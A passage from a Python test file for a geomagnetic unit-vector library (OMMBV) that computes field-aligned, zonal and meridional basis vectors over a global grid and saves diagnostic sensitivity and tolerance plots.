plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Field Aligned Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_fa_up.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.sqrt(e_mx ** 2 + e_my ** 2 + e_mz ** 2), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Meridional Magnitude')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_mer.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_mx, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Meridional Unit Vector - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_mer_east.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_my, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Meridional Unit Vector - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_mer_north.pdf')
plt.close()
fig = plt.figure()
plt.imshow(e_mz, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('E Meridional Unit Vector - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('e_mer_up.pdf')
plt.close()
# Kroenecker Delta Vectors
fig = plt.figure()
plt.imshow(np.log10(e_zvx*d_zvx + e_zvy*d_zvy + e_zvz*d_zvz), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('ED Zonal - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('ed_dot_zonal.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(e_fax*d_fax + e_fay*d_fay + e_faz*d_faz), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('ED Field Aligned - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('ed_dot_fa.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(e_mx*d_mx + e_my*d_my + e_mz*d_mz), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('ED Meridional - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('ed_dot_mer.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(grad_zon)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Gradient in Apex Height (km/km) - Zonal')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_grad_zonal.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(grad_mer)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Gradient in Apex Height (km/km) - Meridional')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_grad_meridional.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(tol_zon)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Achieved Tolerance - Zonal Unit Vector')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_tol_zonal.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(tol_mer)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Achieved Tolerance - Meridional')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_tol_meridional.pdf')
plt.close()
fig = plt.figure()
plt.imshow(init_type, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Initial Seed Vector Type')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_seed_vector_type.pdf')
plt.close()
fig = plt.figure()
plt.imshow(num_loops, origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Number of Iterative Loops')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('unit_vector_num_loops.pdf')
plt.close()
except:
pass
assert np.all(np.abs(tol_zon) <= 1.E-4)
assert np.all(np.abs(tol_mer) <= 1.E-4)
assert np.all(np.abs(grad_zon) <= 1.E-4)
def test_unit_vector_component_plots_edge_steps(self):
"""Check precision D of vectors as edge_steps increased"""
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
d_zvx = np.zeros((len(p_lats), len(p_longs) + 1))
d_zvy = d_zvx.copy();
d_zvz = d_zvx.copy()
d2_zvx = np.zeros((len(p_lats), len(p_longs) + 1))
d2_zvy = d_zvx.copy();
d2_zvz = d_zvx.copy()
d_mx = d_zvx.copy();
d_my = d_zvx.copy();
d_mz = d_zvx.copy()
d_fax = d_zvx.copy();
d_fay = d_zvx.copy();
d_faz = d_zvx.copy()
d2_mx = d_zvx.copy();
d2_my = d_zvx.copy();
d2_mz = d_zvx.copy()
date = datetime.datetime(2000, 1, 1)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print (i, p_lat)
dview.targets = next(targets)
pending.append(
dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs), full_output=True,
include_debug=True, edge_steps=5))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz, infod = pending.pop(0).get()
# collect outputs on E and D vectors
dzx, dzy, dzz = infod['d_zon_x'], infod['d_zon_y'], infod['d_zon_z']
dfx, dfy, dfz = infod['d_fa_x'], infod['d_fa_y'], infod['d_fa_z']
dmx, dmy, dmz = infod['d_mer_x'], infod['d_mer_y'], infod['d_mer_z']
d_zvx[i, :-1], d_zvy[i, :-1], d_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
dzx, dzy, dzz = infod['d_zon2_x'], infod['d_zon2_y'], infod['d_zon2_z']
d2_zvx[i, :-1], d2_zvy[i, :-1], d2_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
d_fax[i, :-1], d_fay[i, :-1], d_faz[i, :-1] = OMMBV.ecef_to_enu_vector(dfx, dfy, dfz,
[p_lat]*len(p_longs),
p_longs)
d_mx[i, :-1], d_my[i, :-1], d_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs),
p_longs)
dmx, dmy, dmz = infod['d_mer2_x'], infod['d_mer2_y'], infod['d_mer2_z']
d2_mx[i, :-1], d2_my[i, :-1], d2_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs),
p_longs)
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz, infod = OMMBV.calculate_mag_drift_unit_vectors_ecef(
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
full_output=True,
include_debug=True,
edge_steps=5)
# collect outputs on E and D vectors
dzx, dzy, dzz = infod['d_zon_x'], infod['d_zon_y'], infod['d_zon_z']
dfx, dfy, dfz = infod['d_fa_x'], infod['d_fa_y'], infod['d_fa_z']
dmx, dmy, dmz = infod['d_mer_x'], infod['d_mer_y'], infod['d_mer_z']
d_zvx[i, :-1], d_zvy[i, :-1], d_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs), p_longs)
dzx, dzy, dzz = infod['d_zon2_x'], infod['d_zon2_y'], infod['d_zon2_z']
d2_zvx[i, :-1], d2_zvy[i, :-1], d2_zvz[i, :-1] = OMMBV.ecef_to_enu_vector(dzx, dzy, dzz,
[p_lat]*len(p_longs),
p_longs)
d_fax[i, :-1], d_fay[i, :-1], d_faz[i, :-1] = OMMBV.ecef_to_enu_vector(dfx, dfy, dfz,
[p_lat]*len(p_longs), p_longs)
d_mx[i, :-1], d_my[i, :-1], d_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs), p_longs)
dmx, dmy, dmz = infod['d_mer2_x'], infod['d_mer2_y'], infod['d_mer2_z']
d2_mx[i, :-1], d2_my[i, :-1], d2_mz[i, :-1] = OMMBV.ecef_to_enu_vector(dmx, dmy, dmz,
[p_lat]*len(p_longs), p_longs)
# account for periodicity
d_zvx[:, -1] = d_zvx[:, 0]
d_zvy[:, -1] = d_zvy[:, 0]
d_zvz[:, -1] = d_zvz[:, 0]
d2_zvx[:, -1] = d2_zvx[:, 0]
d2_zvy[:, -1] = d2_zvy[:, 0]
d2_zvz[:, -1] = d2_zvz[:, 0]
d_fax[:, -1] = d_fax[:, 0]
d_fay[:, -1] = d_fay[:, 0]
d_faz[:, -1] = d_faz[:, 0]
d_mx[:, -1] = d_mx[:, 0]
d_my[:, -1] = d_my[:, 0]
d_mz[:, -1] = d_mz[:, 0]
d2_mx[:, -1] = d2_mx[:, 0]
d2_my[:, -1] = d2_my[:, 0]
d2_mz[:, -1] = d2_mz[:, 0]
ytickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
xtickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
dmag = np.sqrt(d_mx ** 2 + d_my ** 2 + d_mz ** 2)
dmag2 = np.sqrt(d2_mx ** 2 + d2_my ** 2 + d2_mz ** 2)
plt.imshow(np.log10(np.abs(dmag - dmag2) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Meridional Vector Normalized Difference')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_mer_norm_edgesteps.pdf')
plt.close()
fig = plt.figure()
dmag = np.sqrt(d_zvx ** 2 + d_zvy ** 2 + d_zvz ** 2)
dmag2 = np.sqrt(d2_zvx ** 2 + d2_zvy ** 2 + d2_zvz ** 2)
plt.imshow(np.log10(np.abs(dmag2 - dmag) / dmag), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log D Zonal Vector Normalized Difference')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('d_diff_zon_norm_edegesteps.pdf')
plt.close()
except:
pass
def test_simple_geomagnetic_basis_interface(self):
"""Ensure simple geomagnetic basis interface runs"""
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]] * len(p_longs)
date = datetime.datetime(2000, 1, 1)
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print(i, p_lat)
dview.targets = next(targets)
pending.append(
dview.apply_async(OMMBV.calculate_geomagnetic_basis,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs)))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output from first run
out_d = pending.pop(0).get()
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
out_d = OMMBV.calculate_geomagnetic_basis([p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs))
def test_unit_vector_component_stepsize_sensitivity_plots(self):
"""Produce spatial plots of unit vector output sensitivity at the default step_size"""
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
# zonal vector components
# +1 on length of longitude array supports repeating first element
# shows nice periodicity on the plots
zvx = np.zeros((len(p_lats), len(p_longs) + 1))
zvy = zvx.copy();
zvz = zvx.copy()
# meridional vecrtor components
mx = zvx.copy();
my = zvx.copy();
mz = zvx.copy()
# field aligned, along B
bx = zvx.copy();
by = zvx.copy();
bz = zvx.copy()
date = datetime.datetime(2000, 1, 1)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print (i, p_lat)
dview.targets = next(targets)
pending.append(
dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
step_size=1.))
pending.append(
dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
step_size=2.))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output from first run
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz = pending.pop(0).get()
zvx[i, :-1], zvy[i, :-1], zvz[i, :-1] = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz,
[p_lat]*len(p_longs),
p_longs)
bx[i, :-1], by[i, :-1], bz[i, :-1] = OMMBV.ecef_to_enu_vector(tbx, tby, tbz,
[p_lat]*len(p_longs),
p_longs)
mx[i, :-1], my[i, :-1], mz[i, :-1] = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz,
[p_lat]*len(p_longs),
p_longs)
# collect output from second run
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz = pending.pop(0).get()
_a, _b, _c = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
zvx[i, :-1] = (zvx[i, :-1] - _a) # /zvx[i,:-1]
zvy[i, :-1] = (zvy[i, :-1] - _b) # /zvy[i,:-1]
zvz[i, :-1] = (zvz[i, :-1] - _c) # /zvz[i,:-1]
_a, _b, _c = OMMBV.ecef_to_enu_vector(tbx, tby, tbz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
bx[i, :-1] = (bx[i, :-1] - _a) # /bx[i,:-1]
by[i, :-1] = (by[i, :-1] - _b) # /by[i,:-1]
bz[i, :-1] = (bz[i, :-1] - _c) # /bz[i,:-1]
_a, _b, _c = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
mx[i, :-1] = (mx[i, :-1] - _a) # /mx[i,:-1]
my[i, :-1] = (my[i, :-1] - _b) # /my[i,:-1]
mz[i, :-1] = (mz[i, :-1] - _c) # /mz[i,:-1]
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz = OMMBV.calculate_mag_drift_unit_vectors_ecef(
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
step_size=1.)
zvx[i, :-1], zvy[i, :-1], zvz[i, :-1] = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz,
[p_lat]*len(p_longs),
p_longs)
bx[i, :-1], by[i, :-1], bz[i, :-1] = OMMBV.ecef_to_enu_vector(tbx, tby, tbz,
[p_lat]*len(p_longs),
p_longs)
mx[i, :-1], my[i, :-1], mz[i, :-1] = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz,
[p_lat]*len(p_longs),
p_longs)
# second run
tzx, tzy, tzz, tbx, tby, tbz, tmx, tmy, tmz = OMMBV.calculate_mag_drift_unit_vectors_ecef(
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs),
step_size=2.)
_a, _b, _c = OMMBV.ecef_to_enu_vector(tzx, tzy, tzz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
zvx[i, :-1] = (zvx[i, :-1] - _a) # /zvx[i,:-1]
zvy[i, :-1] = (zvy[i, :-1] - _b) # /zvy[i,:-1]
zvz[i, :-1] = (zvz[i, :-1] - _c) # /zvz[i,:-1]
_a, _b, _c = OMMBV.ecef_to_enu_vector(tbx, tby, tbz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
bx[i, :-1] = (bx[i, :-1] - _a) # /bx[i,:-1]
by[i, :-1] = (by[i, :-1] - _b) # /by[i,:-1]
bz[i, :-1] = (bz[i, :-1] - _c) # /bz[i,:-1]
_a, _b, _c = OMMBV.ecef_to_enu_vector(tmx, tmy, tmz, [p_lat]*len(p_longs), p_longs)
# take difference with first run
mx[i, :-1] = (mx[i, :-1] - _a) # /mx[i,:-1]
my[i, :-1] = (my[i, :-1] - _b) # /my[i,:-1]
mz[i, :-1] = (mz[i, :-1] - _c) # /mz[i,:-1]
# account for periodicity
zvx[:, -1] = zvx[:, 0]
zvy[:, -1] = zvy[:, 0]
zvz[:, -1] = zvz[:, 0]
bx[:, -1] = bx[:, 0]
by[:, -1] = by[:, 0]
bz[:, -1] = bz[:, 0]
mx[:, -1] = mx[:, 0]
my[:, -1] = my[:, 0]
mz[:, -1] = mz[:, 0]
# feedbback on locations with highest error
idx = np.argmax(mz)
idx, idy = np.unravel_index(idx, np.shape(mz))
print('****** ****** ******')
print('maxixum location lat, long', p_lats[idx], p_longs[idy])
ytickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
xtickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
plt.imshow(np.log10(np.abs(zvx)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Zonal Unit Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_east_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(zvy)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Zonal Unit Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_north_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(zvz)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Zonal Unit Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('zonal_up_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(bx)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Field Aligned Unit Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_east_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(by)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Field Aligned Unit Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_north_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(bz)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Field Aligned Unit Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('fa_up_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(mx)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Meridional Unit Vector Difference - Eastward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_east_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(my)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Meridional Unit Vector Difference - Northward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_north_diff.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(mz)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Meridional Unit Vector Difference - Upward')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('mer_up_diff.pdf')
plt.close()
# calculate mean and standard deviation and then plot those
plt.figure()
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(zvx[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(zvx[:, :-1], axis=0))), label='East')
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(zvy[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(zvy[:, :-1], axis=0))), label='North')
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(zvz[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(zvz[:, :-1], axis=0))), label='Up')
plt.xlabel('Longitude (Degrees)')
plt.ylabel('Log Change in Zonal Vector')
plt.title("Sensitivity of Zonal Unit Vector")
plt.legend()
plt.tight_layout()
plt.tight_layout();
plt.savefig('zonal_diff_v_longitude.pdf')
plt.close()
# calculate mean and standard deviation and then plot those
plt.figure()
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(mx[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(mx[:, :-1], axis=0))), label='East')
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(my[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(my[:, :-1], axis=0))), label='North')
plt.errorbar(p_longs, np.log10(np.nanmedian(np.abs(mz[:, :-1]), axis=0)),
yerr=np.abs(np.log10(np.nanstd(mz[:, :-1], axis=0))), label='Up')
plt.xlabel('Longitude (Degrees)')
plt.ylabel('Log Change in Meridional Vector')
plt.title("Sensitivity of Meridional Unit Vector")
plt.legend()
plt.tight_layout()
plt.tight_layout();
plt.savefig('mer_diff_v_longitude.pdf')
plt.close()
except:
print('Skipping plots due to error.')
def step_along_mag_unit_vector_sensitivity_plots(self, direction=None):
"""Characterize the uncertainty associated with obtaining the apex location of neighboring field lines"""
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
# create memory for method
# locations from method output, in ECEF
# want positions with one setting on method under test, then another
# +1 on length of longitude array supports repeating first element
# shows nice periodicity on the plots
x = np.zeros((len(p_lats), len(p_longs) + 1))
y = x.copy();
z = x.copy();
h = x.copy()
# second set of outputs
x2 = np.zeros((len(p_lats), len(p_longs) + 1))
y2 = x2.copy();
z2 = x2.copy();
h2 = x.copy()
date = datetime.datetime(2000, 1, 1)
dates = [date]*len(p_longs)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
# iterate through target cyclicly and run commands
dview.targets = next(targets)
# inputs are ECEF locations
in_x, in_y, in_z = OMMBV.geodetic_to_ecef([p_lat]*len(p_longs), p_longs, p_alts)
pending.append(dview.apply_async(OMMBV.step_along_mag_unit_vector,
in_x, in_y, in_z, dates,
direction=direction,
num_steps=5, step_size=25. / 5.))
pending.append(dview.apply_async(OMMBV.step_along_mag_unit_vector,
in_x, in_y, in_z, dates,
direction=direction,
num_steps=1, step_size=25. / 1.))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output from first run
x[i, :-1], y[i, :-1], z[i, :-1] = pending.pop(0).get()
# collect output from second run
x2[i, :-1], y2[i, :-1], z2[i, :-1] = pending.pop(0).get()
# trace each location to its apex
# this provides an increase in the spatial difference that results
# from innacurate movement between field lines from step_along_mag_unit_vector
for i, p_lat in enumerate(p_lats):
dview.targets = next(targets)
# convert all locations to geodetic coordinates
tlat, tlon, talt = OMMBV.ecef_to_geodetic(x[i, :-1], y[i, :-1], z[i, :-1])
pending.append(dview.apply_async(OMMBV.apex_location_info,
tlat, tlon, talt, dates,
return_geodetic=True))
# convert all locations to geodetic coordinates
tlat, tlon, talt = OMMBV.ecef_to_geodetic(x2[i, :-1], y2[i, :-1], z2[i, :-1])
pending.append(dview.apply_async(OMMBV.apex_location_info,
tlat, tlon, talt, dates,
return_geodetic=True))
for i, p_lat in enumerate(p_lats):
x[i, :-1], y[i, :-1], z[i, :-1], _, _, h[i, :-1] = pending.pop(0).get()
x2[i, :-1], y2[i, :-1], z2[i, :-1], _, _, h2[i, :-1] = pending.pop(0).get()
normx = x.copy()
normy = y.copy()
normz = z.copy()
normh = h.copy()
# take difference in locations
x = x - x2
y = y - y2
z = z - z2
h = h - h2
else:
for i, p_lat in enumerate(p_lats):
in_x, in_y, in_z = OMMBV.geodetic_to_ecef([p_lat]*len(p_longs), p_longs, p_alts)
x[i, :-1], y[i, :-1], z[i, :-1] = OMMBV.step_along_mag_unit_vector(in_x, in_y, in_z, dates,
direction=direction,
num_steps=5, step_size=25. / 5.)
# second run
x2[i, :-1], y2[i, :-1], z2[i, :-1] = OMMBV.step_along_mag_unit_vector(in_x, in_y, in_z, dates,
direction=direction,
num_steps=1, step_size=25. / 1.)
for i, p_lat in enumerate(p_lats):
# convert all locations to geodetic coordinates
tlat, tlon, talt = OMMBV.ecef_to_geodetic(x[i, :-1], y[i, :-1], z[i, :-1])
x[i, :-1], y[i, :-1], z[i, :-1], _, _, h[i, :-1] = OMMBV.apex_location_info(tlat, tlon, talt, dates,
return_geodetic=True)
# convert all locations to geodetic coordinates
tlat, tlon, talt = OMMBV.ecef_to_geodetic(x2[i, :-1], y2[i, :-1], z2[i, :-1])
x2[i, :-1], y2[i, :-1], z2[i, :-1], _, _, h2[i, :-1] = OMMBV.apex_location_info(tlat, tlon, talt, dates,
return_geodetic=True)
# take difference in locations
normx = x.copy()
normy = y.copy()
normz = z.copy()
normh = np.abs(h)
x = x - x2
y = y - y2
z = z - z2
h = h - h2
# account for periodicity
x[:, -1] = x[:, 0]
y[:, -1] = y[:, 0]
